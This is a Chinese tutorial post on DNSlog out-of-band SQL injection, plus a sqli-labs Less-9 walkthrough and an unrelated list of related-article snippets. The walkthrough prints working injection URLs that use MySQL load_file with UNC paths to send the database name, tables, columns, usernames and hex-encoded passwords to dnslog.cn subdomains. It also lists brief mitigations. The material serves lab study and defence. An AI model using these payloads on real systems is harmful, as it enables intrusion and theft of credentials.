DNSlog注入(利用DNSlog平台将SQL盲注变成回显注入)

news2024/12/23 13:38:41

    • 前言
      • 什么是UNC
      • 什么是DNSlog注入
      • DNSlog注入的条件
      • 防止DNSlog注入的几个措施
    • sqli-labs试验

前言

前几天面试的时候,面试官问我知不知道OOB(带外数据)。

当时我蒙了,确实没听说过这个东西,然后面试官告诉我原来dnslog注入就是带外通信的一种。

什么是UNC

UNC(Universal Naming Convention)路径是用于在计算机网络中标识资源位置的标准格式。
它通常用于访问共享文件夹或打印机等网络资源。UNC路径格式的一般结构如下:
\\server\share\path\filename

\\: 表示UNC路径的开头,两个反斜杠用来指示这是一个网络路径。

什么是DNSlog注入

DNSlog注入是一种利用DNS服务器记录域名解析请求的特性,来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名,然后使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求,从而在DNS服务器上留下注入结果的痕迹。

DNSlog注入的应用场景是当网站对于SQL注入的攻击没有回显或者过滤了敏感的回显内容时,可以使用DNSlog注入来绕过这些限制,获取数据库的信息。

DNSlog注入的步骤如下:

  • 首先,需要一个可以记录DNS请求的平台,例如dnslog.cn和ceye.io。在这个平台上,可以获取一个专属的子域名,例如xxx.dnslog.cn,并且可以查看该子域名下所有的DNS请求记录。
  • 然后,需要构造一个包含数据库信息的子域名,例如(select database()).xxx.dnslog.cn。这个子域名可以使用MySQL的函数或者操作符来拼接,例如concat、replace、substr等。
  • 接着,需要使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求。例如,使用以下语句:
    • select load_file(concat(‘\\\\’,(select database()),‘.xxx.dnslog.cn/abc’));
    • 这个语句会让目标服务器尝试从(select database()).xxx.dnslog.cn/abc这个地址加载文件,从而触发DNS解析请求。
  • 最后,需要在DNSlog平台上查看DNS请求记录,就可以获取数据库信息了。例如,在上面的例子中,如果数据库名为security,那么就会看到security.xxx.dnslog.cn这样的记录。

DNSlog注入需要注意的点:

  • 由于每一级域名的长度只能为63个字符,所以在MySQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内。

  • 由于URL中传递的字符非常有限,很多特殊字符如{,},!,等是无法传递的。这就会导致load_file函数失效。所以需要对查询结果进行hex编码,然后再使用16进制解码网站来还原结果。

DNSlog注入的条件

  1. 目标服务器可以发起DNS请求,即可以访问外部网络。

  2. 目标服务器可以执行一些函数或命令,如load_file、exec、curl等,用于向DNS服务器发送域名查询。

  3. 攻击者拥有一个自己的域名,并能够配置NS记录和获取DNS日志,用于接收目标服务器发送的域名查询信息。

  4. 目标服务器返回的数据不超过域名长度限制(63个字符),并且不包含特殊符号,否则会导致DNS查询失败。

防止DNSlog注入的几个措施

  • 限制目标服务器对外部网络的访问权限,禁止或过滤掉不必要的DNS请求。
  • 对目标服务器执行的函数或命令进行严格的输入验证和过滤,防止攻击者注入恶意的域名或URL。
  • my.ini中secure_file_priv值设置为null

sqli-labs试验

试验环境为sqli-labs 第九关

这里发现无回显,输入sleep函数后成功sleep了五秒

在这里插入图片描述

由于没有回显数据,所以直接上dnslog,查一下库名试一下:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select database()),'.20vice.dnslog.cn/test')))--+

成功回显了数据:

在这里插入图片描述

接下来查一下库里的表名,这里用limit限制只回显一个数据,多次查询:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select TABLE_NAME  from information_schema.tables where table_schema='security' LIMIT 3,1),'.20vice.dnslog.cn/test')))--+

看到了四个表

emailsreferersuagentsusers

在这里插入图片描述

用同样的方法查询字段名:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select column_name  from information_schema.columns where table_name='users' limit 0,1),'.20vice.dnslog.cn/test')))--+

在这里插入图片描述

尝试读取一下用户名数据:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select username from security.users limit 2,1),'.nwpxcq.dnslog.cn/test')))--+

再读取一下密码,由于密码里可能有特殊字符,这里进行十六进制编码了:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select hex(password) from security.users where username='Dummy'),'.nwpxcq.dnslog.cn/test')))--+

在这里插入图片描述

十六进制解码,成功获取数据:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/861052.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器人CPP编程基础-04输入Input

机器人CPP编程基础-03变量类型Variables Types ……AI…… C #include<iostream> // 引入iostream库&#xff0c;这个库包含了对输入/输出进行操作所需的函数和对象 using namespace std; // 使用命名空间std&#xff0c;这样我们就可以直接使用std中的名字&#xff0c…

设定嵌入式linux系统的用户名和密码

遇到一个问题&#xff0c;板子上电后&#xff0c;串口可以正常输入命令行&#xff0c;而且不需要密码&#xff0c;用户名就是root &#xff0c;因为没有设置密码&#xff0c;但是SSH登录时用户名输入root&#xff0c;密码直接敲回车键也就是不输入密码竟然是错误的&#xff0c;…

一文带你入门Nacos:从安装到实例分析

目录 一、安装和配置 1.1 下载安装包 1.2 解压 1.3 端口配置 1.4 启动 1.5 访问 二、服务注册到nacos 2.1 引入依赖 2.2 配置nacos地址 2.3 重启 三、服务分级存储模型 3.1 给user-service配置集群 3.2 同集群优先的负载均衡 1&#xff09;给order-service配…

勘探开发人工智能技术:机器学习(3)

0 提纲 4.1 logistic回归 4.2 支持向量机(SVM) 4.3 PCA 1 logistic回归 用超平面分割正负样本, 考虑所有样本导致的损失. 1.1 线性分类器 logistic 回归是使用超平面将空间分开, 一边是正样本, 另一边是负样本. 因此, 它是一个线性分类器. 如图所示, 若干样本由两个特征描…

竞赛项目 深度学习疲劳驾驶检测 opencv python

文章目录 0 前言1 课题背景2 实现目标3 当前市面上疲劳驾驶检测的方法4 相关数据集5 基于头部姿态的驾驶疲劳检测5.1 如何确定疲劳状态5.2 算法步骤5.3 打瞌睡判断 6 基于CNN与SVM的疲劳检测方法6.1 网络结构6.2 疲劳图像分类训练6.3 训练结果 7 最后 0 前言 &#x1f525; 优…

Python爬虫 爬取图片

在我们日常上网浏览网页的时候&#xff0c;经常会看到一些好看的图片&#xff0c;我们就希望把这些图片保存下载&#xff0c;或者用户用来做桌面壁纸&#xff0c;或者用来做设计的素材。 我们最常规的做法就是通过鼠标右键&#xff0c;选择另存为。但有些图片鼠标右键的时候并没…

竞赛项目 深度学习的视频多目标跟踪实现

文章目录 1 前言2 先上成果3 多目标跟踪的两种方法3.1 方法13.2 方法2 4 Tracking By Detecting的跟踪过程4.1 存在的问题4.2 基于轨迹预测的跟踪方式 5 训练代码6 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学习的视频多目标跟踪实现 …

LabVIEW对并行机器人结构进行建模仿真

LabVIEW对并行机器人结构进行建模仿真 为了对复杂机器人结构的数学模型进行建模、搜索、动画和验证&#xff0c;在工业机器人动态行为实验室中&#xff0c;设计并实现了具有五个自由度的单臂型机器人。在研究台上可以区分以下元素&#xff1a;带有直流电机和编码器的机器人;稳…

竞赛项目 深度学习花卉识别 - python 机器视觉 opencv

文章目录 0 前言1 项目背景2 花卉识别的基本原理3 算法实现3.1 预处理3.2 特征提取和选择3.3 分类器设计和决策3.4 卷积神经网络基本原理 4 算法实现4.1 花卉图像数据4.2 模块组成 5 项目执行结果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &a…

安卓应用面试

Cordova 说明&#xff1a;一个移动框架&#xff0c;将HTML&#xff0c;CSS&#xff0c;JS封装为原生APP(hybird) 优点&#xff1a;跨平台&#xff0c;利于移植&#xff0c;能利用HTML5的各种特性&#xff0c;快速开发&#xff0c;成本低 缺点&#xff1a;不能使用设备的所以…

后端人员如何快速上手vue

一、环境搭建 了解更多vue-cli 官网地址:https://cli.vuejs.org/zh/guide/browser-compatibility.html 前提 1.安装node(js代码的运行环境)、npm、cnpm/yarn&#xff1b; nodejs官网&#xff1a;https://nodejs.org/en cnpm安装&#xff1a;https://www.python100.com/htm…

SQL常见命令语句

1.连接数据库 mysql (-h IP) -u root -p 密码2.查看数据库 show databases3.使用数据库 use db_name4.查看表 show tables [from db_name]5.查看表结构 desc tb_name6.创建、删除、选择数据库 create database db_namedrop database db_nameuse db_name7.数据类型 参考链…

【C语言】指针的进阶2

指针进阶 函数指针数组指向函数指针数组的指针回调函数指针和数组经典题目的解析 函数指针数组 数组是一个存放相同类型数据的存储空间&#xff0c;那我们已经学习了指针数组&#xff0c; 比如&#xff1a; int* arr[10];//数组的每个元素是int*那要把函数的地址存到一个数组…

React实现点击切换组件

实现如上组件 组件代码&#xff1a; import { SwapOutlined } from "ant-design/icons" import React, { useState } from "react" import ./index.lessinterface ISwitchTypeProps {onChange?: (val) > booleanactiveKey?: stringleft: { key: str…

C语言 指针的运算

一、介绍 在C语言中&#xff0c;指针的运算分为三类 1、指针 整数 、指针 - 整数2、指针 - 指针3、指针的关系运算 二、指针 整数 、指针 - 整数 因为数组在内存中是连续存放的&#xff0c;只要知道第一个元素的地址&#xff0c;顺藤摸瓜就能找到后面的所…

Chrome有些网站打不开,但是火狐可以打开

Chrome有些网站打不开&#xff0c;但是火狐可以打开 问题描述火狐成功界面谷歌报错界面局域网设置使用代理服务器访问成功 解决方案参考 问题描述 开了一个tizi&#xff0c;Chrome不能使用&#xff0c;火狐可以。之前装过插件Ghelper白嫖科学上网&#xff0c;那次之后好像浏览…

机器人CPP编程基础-02变量Variables

机器人CPP编程基础-01第一个程序Hello World 基础代码都可以借助人工智能工具进行学习。 C #include<iostream>using namespace std;main() {//Declaring an integer type variable A, allocates 4 bytes of memory.int A4;cout<<A <<endl;//Prints the a…

Rust语法:变量,函数,控制流,struct

文章目录 变量可变与不可变变量变量与常量变量的Shadowing标量类型整数 复合类型 函数控制流if elseloop & whilefor in structstruct的定义Tuple Structstruct的方法与函数 变量 可变与不可变变量 Rust中使用let来声明变量&#xff0c;但是let声明的是不可变变量&#x…

【校招VIP】java语言考点之static和并发

考点介绍&#xff1a; static考点是面试的高频考点&#xff0c;很多同学不理解使用场景&#xff0c;只是从加载出发。 一般从容易到难提问&#xff0c;比如从static的含义和理解、到JVM的存储或者到线程安全性&#xff0c;再到单例模式等。 java语言考点之static和并发 相关题…

Python web实战之Django 的缓存机制详解

关键词&#xff1a;Python、Web 开发、Django、缓存 1. 缓存是什么&#xff1f;为什么需要缓存&#xff1f; 在 Web 开发中&#xff0c;缓存是一种用于存储数据的临时存储区域。它可以提高应用程序的性能和响应速度&#xff0c;减轻服务器的负载。 当用户访问网页时&#xff…